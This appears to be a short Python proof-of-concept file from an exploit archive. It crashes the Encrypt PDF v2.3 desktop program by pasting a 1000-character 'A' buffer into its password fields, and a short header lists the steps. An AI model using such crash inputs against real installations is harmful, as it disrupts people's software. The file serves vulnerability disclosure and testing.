21 lines
No EOL
759 B
Python
Executable file
21 lines
No EOL
759 B
Python
Executable file
# -*- coding: utf-8 -*-
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# Exploit Title: Encrypt PDF v2.3 - Denial of Service (PoC)
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# Date: 19/05/2019
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# Author: Alejandra Sánchez
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# Vendor Homepage: http://www.verypdf.com
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# Software: http://www.verypdf.com/encryptpdf/encryptpdf.exe
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# Version: 2.3
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# Tested on: Windows 10
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# Proof of Concept:
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# 1.- Run the python script "EncryptPDF.py", it will create a new file "EncryptPDF.txt"
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# 2.- Copy the text from the generated EncryptPDF.txt file to clipboard
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# 3.- Open Encrypt PDF v2.3
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# 4.- Go to 'Setting', paste clipboard in the field 'User Password' or the field 'Master Password' and Click 'OK'
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# 5.- Click on 'Open PDF(s)', when you import a pdf file, you will see a crash
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buffer = "\x41" * 1000
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f = open ("EncryptPDF.txt", "w")
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f.write(buffer)
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f.close() |